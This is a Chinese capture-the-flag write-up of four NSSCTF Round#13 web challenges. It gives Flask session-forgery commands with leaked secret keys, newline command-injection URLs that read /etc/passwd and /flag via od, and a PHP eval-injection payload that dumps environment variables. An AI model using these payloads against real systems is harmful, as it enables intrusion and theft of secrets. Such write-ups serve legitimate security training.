前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >NSSCTFRound#13 Web

NSSCTFRound#13 Web

作者头像
ph0ebus
发布2023-06-10 15:45:55
3460
发布2023-06-10 15:45:55
举报

flask?jwt?

考察session伪造

登录框直接随手注册一个用户,然后登录进去康康什么情况,我这里随手注册了一个叫aa的用户

点击”拿flag”会提示你不是admin,也就是需要伪造成admin用户,也就需要SECRET_KEY

这里也就几个功能点,瞎点几下发现忘记密码这里输入它主页的邮箱就可以在注释中拿到SECRET_KEY

然后解密后伪造一手即可

代码语言:javascript
复制
python flask_session_en_de.py decode -s “th3f1askisfunny” -c "你的session"

python flask_session_en_de.py encode -s “th3f1askisfunny” -t "{'_fresh': True, '_id': '467f4f5c63e6e8a448a19e62209c978fc29daa8bb6701721cbbac3085a95acf074c076705bae29d241f2434d9204f2cc6aef23086435265efb63c3955500518d', '_user_id': '1'}"

携带session访问/getFlag即可

ez_factors

题目描述:原生 Linux 因数爆破工具。flag在根目录

首先进入页面,点击Tool进入/factors/114514

题目描述说是原生 Linux 因数爆破工具,那就预测一手这道题考察命令执行,这就和常见的ping有点相似了

直接换行符(%0a)执行命令,但似乎没那么简单,ls没回显,咋回事,cat /etc/passwd再康康

记得这里/要url编码,不然会产生歧义嗷

这里明显是执行了的,因为格式和/etc/passwd是相同的,那难道只会回显数字吗,那我就编个码读/flag

这里就用od命令,它默认以8进制读取文件,也就是得到的全是数字,爽诶

代码语言:javascript
复制
/factors/114514%0aod%20%2fflag

但这还没结束,得到的flag内容长这样

代码语言:javascript
复制
0000000 051516 041523 043124 032573 033461 031146 032144 026467
0000020 033467 061543 032055 031471 026466 034471 030471 063055
0000040 030066 034066 061543 032061 030141 076544 000012
0000055

急急急,怎么复原内容呢,一顿搜索没啥结果,最后墨迹了好久发现参数-b输出结果会好复原很多,只拿了二血,坏

代码语言:javascript
复制
/factors/114514%0aod%20-b%20%2fflag
代码语言:javascript
复制
0000000 116 123 123 103 124 106 173 065 061 067 146 062 144 064 067 055
0000020 067 067 143 143 055 064 071 063 066 055 071 071 071 061 055 146
0000040 066 060 066 070 143 143 061 064 141 060 144 175 012
0000055

最后扔进赛博厨子得到flag

MyWeb

题目描述:试试我的JSON解析工具。

代码语言:javascript
复制
<?php
error_reporting(E_ALL);
// 写了个网页存储JSON数据,但是还不会处理json格式,这样处理应该没有什么问题吧

if ($_GET['mode'] == 'save') {
    $data = file_get_contents('/tmp/data.json');
    $value = addslashes($_GET['value']);
    $data = str_replace(']', ", '$value']", $data);
    file_put_contents('/tmp/data.json', $data);
} else if ($_GET['mode'] == 'read') {
    $data = file_get_contents('/tmp/data.json');
    eval('$data = ' . $data . ';');
    print_r($data);
} else {
    highlight_file(__FILE__);
}

这里审计一手代码,就是一个save和read的过程,我们要想eval的东西是我们想执行的,那就必须破坏它的结构,那就复制下来在本地测试测试,怎么才能闭合原有结构,让危险代码逃逸

最后借鉴sql注入那套思路,闭合加注释,成功执行任意代码

代码语言:javascript
复制
/?mode=save&value=]//%0a;<your_php_code>;//

但是还有个要注意的点,addslashes()函数会转义预定义字符,也就是单双引号那几个,那么执行的代码也不能有这些东西,所以要用到无参数命令执行

代码语言:javascript
复制
/?mode=save&value=]//%0a;print_r(getenv());//

然后?mode=read就能获取环境变量里的flag

flask?jwt?(hard)

这道题和第一题差不多,但是SECRET_KEY藏起来了

首先在注册登录后注释中有提示

代码语言:javascript
复制
<!-- 我der密钥去哪里了,哦!源来氏被 /wor 藏起来了 -->

访问/wor路由给出了上次的登录时间,然后就卡住了,急急急,找了半天让后台报错康康有没有debug模式泄露源码的地方,最后在session中获得灵感

可以看到base64解码后看到了进入时的提示语句,嘶,这里的登陆时间该不会也是在session中获取的吧,那就登录后访问/wor路由,然后随手删除一坨(不带session访问也会报错)让它在获取登录时间时报错

然后得到SECRET_KEY

然后伪造即可

代码语言:javascript
复制
python flask_session_en_de.py encode -s "hardgam3_C0u1d_u_f1ndM3????" -t "{'_fresh': True,'_user_id': '1'}"

携带session访问/getFlag即可获取flag

本文采用CC-BY-SA-3.0协议,转载请注明出处 Author: ph0ebus

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-06-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • flask?jwt?
    • ez_factors
      • MyWeb
        • flask?jwt?(hard)
        相关产品与服务
        腾讯云服务器利旧
        云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档